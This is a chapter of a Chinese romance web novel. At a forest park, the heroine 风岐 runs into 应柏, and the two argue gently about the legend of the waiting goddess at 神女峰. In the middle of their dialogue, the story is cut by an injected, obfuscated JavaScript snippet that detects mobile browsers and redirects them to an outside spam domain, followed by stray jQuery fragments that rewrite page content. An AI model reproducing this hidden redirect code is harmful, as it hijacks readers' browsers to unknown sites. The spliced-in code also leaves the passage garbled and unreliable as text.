21. 第 21 章

作品:《山鬼谣

    开车去森林公园的路上,霍宁和风岐提了几个地方。


    神女峰、红桦林、隐鹿溪、草海、天池,都是观光车会停的点,走不了多少路,放她下车的时候还提醒了她一句:“累了就喊我,不行的话我跟门卫打个招呼也能把车开进去接你,都是熟人。”


    风岐下车行了个扶帽礼:“谢谢干妈!”


    她正要走,又被霍宁给叫住了,霍宁问她:“你这些天睡挺好?”


    “相当好啊。”


    霍宁看着她神采飞扬的一张脸,笑了笑:“行,好好玩儿去吧。”


    这人起得还怪早的,她原以为她不到中午起不来,谁知八点刚过就打扮得牛仔似的下来了。


    上身和短靴是相同的深棕色,穿着条水洗的复古花纹紧身牛仔裤,最外面罩着那件她们前些年在芒市买的红色流苏坎肩,腰后还挎着个麂皮大挎包,夸张的长檐牛仔帽夹在腋下。


    早餐胃口不错,在牛肉和菜叶子都加量的粉汤里泡完了一整只馍,跑厨房里洗了两个苹果塞进包里,哒哒哒地又出来了要她送。


    森林公园未开放的时候她带着风岐进去溜达过一次,后来就没再去过了。


    ——


    听观光车师傅介绍,她结合着地图才发现,红桦林和神女峰可以算作一处,站在红桦林向西看,对面的山就是一张神女的半身像。而天池和草海也在一起,是公园里最深的景点,海拔3800左右。


    她打算直接坐车到最里头,再向外走。但到了红桦林的站点,她还是下了车。


    山里头信号不稳定,海拔高的地方还不知道怎样呢。


    秦思勉又不知道是犯了什么毛病,大清早的给她发消息问她在哪儿,她上观光车才看到,之后他就支支吾吾的,半天说不出个所以然来。


    等一群呼朋唤友的阿姨们从神女峰前的介绍牌离开,她边看文字边听秦思勉问:“你给我发的那个故事...啥意思啊?”


    “哈?”风岐愣了半天,“啥故事?”


    “就那个人...鱼...鱼吃人...”


    “哈?”风岐挠挠脑袋,“我啥时候给你发的?”


    “啊?”


    风岐正要低头翻记录,视野里指示牌后走出一道黑色身影,她的双眼在墨镜后略抬,对上他脸的那一瞬,呼吸几近停滞。


    “再再再再再见...”风岐挂电话的手都在抖。


    转身就走,心里不住祈祷:没看见我没看见我没看见我...


    只可惜,事与愿违,背后那个人根本没有给她机会。


    “风岐。”她听他轻轻一声唤,唤得她直想抽自己巴掌:为什么不戴耳机?不然就可以装聋子了。


    都住一块儿,人家喊她她不停,一会儿回去怎么交代?


    可是要怎么面对他?


    她真的不知道,她现在只想把自己的左耳朵割下来,连带着脑袋一块儿割。


    她讷讷转身,微微抬起脸就赶忙垂下,视线触及他胸前时又慌忙偏开,腋下夹着的牛仔帽硌得她生疼。


    她挤出一个尴尬的笑:“好、好巧啊,应博士。”


    应柏同样不自在地抵拳咳了一声。


    风岐抓着手机的右手死死别在腰后,面庞绯红,隔着浅茶色墨镜的一双眼不住眨着,但怎么都不肯抬头。


    好半晌,她终于抬起了脸,对他笑了一下,“有事吗?”


    那就是个梦!一个梦而已!自己梦里,不该想干嘛就干嘛吗!她理直气壮的!


    应柏低下头对上风岐的眼,恰见她本抬着的脸骤然右偏,他的目光又如同先前一般落到了她的左耳垂上,他赶忙收回目光。


    心早已震动如擂鼓,每次见她,明明想寻她的眼,真正寻到了,却又不敢直视,她的双眼太亮,亮得如同天上繁星,又深沉得宛若每个望月时柔和的月光。


    他只能去看别的地方,却又会被她左耳垂上的那颗小痣吸引,想亲近,近一点,更近一点...


    那颗痣像个尖头向下的小芝麻,不过比芝麻细长,也略小些。


    “你...”他抱着一叠文件夹的手骤然收紧,这才还得半分清明,出声时就发现自己沙哑得厉害。


    他又咳了一声,声音这才稍稍清晰,“直接叫我名字就好,我...”


    “还是学生,还没有学位。”他的心高高悬起,浑身紧绷。


    明明知道她刚才见到他就要逃,但还是想要叫住她。


    她刚垂下的脑袋忽地一抬,眼神清澈透亮:“啊?”


    风岐忙闭了口,死死咬着牙没敢让自己笑出声。


    她没答好也没答不好,应柏换了个话题:“你是进来玩的吗?”


    风岐点点头,又去看指示牌。


    她还是后悔自己没戴口罩,应柏这搭话技巧也太生硬了,她不进来玩儿还能干嘛?


    反正他比她紧张,她有什么可慌的?


    她顺口问他:“你呢?”


    谈到工作,应柏倒是答得挺顺畅。


    他抬手对身后不远处的一栋四层小楼一示意,“过几天这里有个项目做结题汇报,我过来跟生态修复部的几位领导再核对一遍材料。”


    听到后面风岐愈发憋不住笑,应柏的车停到停车场才接到电话,公园里的高层领导很看重这次汇报,本来今天也要来的,谁知省里突然来了调查组抽查防火情况,高层领导当然要去作陪,这里只能先搁置了。


    他这算是被放了鸽子,不过对方叫他先等一个小时,估计一会儿就能过来。


    “你是要去神女峰吗?”应柏问她,风岐想起原先在观光车上的导游词,顺口就诌:“是啊,我听人家讲神女峰很灵,就进来拜拜。”不仅是车载大喇叭播放的导游词,司机师傅还说呢,这儿的神女保佑有情人终成眷属。


    风岐脑中像有什么一闪而过,身侧应柏却轻轻笑了,笑得她莫名其妙,“你笑什么?”


    这话说完,两人都是一愣。


    应柏的心像被什么重重地凿了一下,紧接着有股暖意自胸腔蔓延,风岐则想起来霍宁讲过的那个笑话,自己也不由自主“噗嗤”笑了出来。


    那话不能乱说,说出来影响森林公园的生意,但应柏忙道:“抱歉,我不是笑...我只是想起来神女峰,”他的嘴角依旧压不住,“是景区里人工开凿的,它...原来不是这个形状。”


    话说到这儿,隔着两人的墨镜应柏都能清晰地看到风岐眼中的笑意,她竟然知道。


    尴尬被稀释了不少,风岐径自向前走,来回扫了一圈没几个游人,这才压低了声音:“所以那个神女的故事也是假的呗?”


    全国多少个神女峰,每家神女峰都差不多一样的故事——有个神女在这里等待她的爱人,等了太久,所以化成了山峰或是石头。


    “你...不喜欢这个故事吗?”


    “啊?”风岐不知道应柏为什么会这样问,“为什么要喜欢?”


    “你喜欢?”


    “我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491452|185886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ...”风岐侧抬了眼,便见应柏的右耳根通红。目光下移,他的喉结上下滚动,好久才能说出下一句话,“我也不知道,只是...觉得神女应该过得很苦...”


    风岐又笑了,“这不就是这种故事的目的。”见应柏不解,她继续说着,“这很不现实,是个神女就等爱人,神女没别的事儿干了?”


    她习惯性地将包向后一挪,倒退着走,双手一摊,“既然要等,既然她是神女,那不该边干活儿边等吗?就在第一个地方等着,多浪费资源啊。”


    “再说了...”脚下踢到了一颗小石子儿,风岐忽地刹住了嘴,今天话好像有点儿多了。


    应柏听入了神,过了几秒才发现她停住步伐,本向她微侧的脸赶忙偏回前方,“我...觉得你说得对,不过或许传说总有遗漏的部分。可能这部分已经散佚了,所以后人只知道她一直在等。”


    这人倒有点儿上路子的,风岐忽觉不忿,既然故事都不完整,就偏偏要可着爱情往下挖。


    “哪怕是爱情,这也很不合理,上千年就遇不到别人吗?这个没了换个好了,也没必要一棵树上吊死吧?”这神女的道德感未免太高了些。


    “我觉得...”风岐歪了歪脑袋,“很假,这更像被人下了蛊,被逼着等的。所谓神也是人按照自己想象出的人格化的存在,那么就有人性的本能,人总是喜新厌旧的,能等一个人上千年,”她耸耸肩,“理解不了。”


    这回却是应柏站住了脚,风岐疑惑回头,便见他一双眉头皱得死紧,“为什么不能是因为他们曾经的感情真的很深刻,所以...曾经沧海难为水,除却巫山不是云。”【1】


    “哈?”她下意识就抬杠,“两个人感情太深有什么好?万一就遭人嫉妒了呢?大都好物不坚牢,彩云易散琉璃脆。”【2】


    应柏双唇紧抿。


    两人之间的气氛登时凝结成冰。


    他沉默得太久,风岐心头生出一丝懊悔,也是说顺了,她统共才见过他几回,根本就不认识他,和他聊爱情观做什么?


    还都说实话。


    万一他有个什么和他感情很深最后分得轰轰烈烈甚至到达惨烈地步的前女友呢,她脑海中忽地浮现起第一次见他时的模样。她心头一惊,总不能那时候是撞上他刚分手吧?所以是打算拿她转移注意力?


    一时间无数个念头接连翻涌,最后还是开了口:“那个...不好意思啊应博士,我不是故意...”戳你伤疤?好像也不算吧,她什么都不知道啊,她打算做块“不知者无罪”的牌子顶头上。


    应柏恍若大梦初醒,连连摇头,“没有,不用道歉,不是的,我...”


    他深深吸了一口气,笑容也漫上苦涩,“我只是想到了很多...”他清了清嗓子,不愿让她听出自己的哽声,“我过去...”话出口只觉苍白无力,“很多问题,还有角度,这些我过去都没有考虑到。”


    直到应柏领她去红桦林指了最合适的可以看清神女模样的位置后离开,两人都没有再说一句话。


    风岐看着他渐行渐远,这才给霍宁去了条消息:“应柏是不是刚分手啊怎么总觉得他看着这么惨呢?”


    霍宁的答复风岐一个字都不信——“跟你一样,母胎单身。”她觉得和应柏和平共处不了,她还是老老实实绕着他走好了,这个人满身雷点,看样子比她事儿还多。


    霍宁对风岐的回话同样无语——“说不定他是地下恋情呢?谁都不知道的那种。”